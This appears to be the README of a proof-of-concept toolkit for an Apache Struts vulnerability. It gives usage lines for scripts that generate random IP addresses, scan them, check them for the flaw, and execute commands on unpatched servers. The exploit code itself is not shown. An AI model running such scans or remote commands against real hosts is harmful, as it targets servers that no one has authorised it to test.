
This project is a prove-of-concept for the Apache Struts vulnerabilty. The goal was to create software that can generate and test random IPs for the vulnerabilty described above.
Use this project on your own risk and for educational purpose only.
cURL
Nmap
Generate random IPs and save them to a text file.
./get_ip.sh [Number of hosts to scan] [What port to scan] [Filename to write output]
./get_ip.sh 10000 80 output.txt
Check for vulnerability for a specific IP address.
./struts_check.sh [ip address] [port]
./struts_check.sh 127.0.0.1 80
Check for vulnerability for a list of IP addresses.
./main.sh [Text file containing IP adresses] [Port]
./main.sh output.txt 443
Execute a command on a server without the Apache struts vulnerability patch
./struts_attack.sh [IP Adres] [Command]
./struts_attack.sh https://127.0.0.1 whoami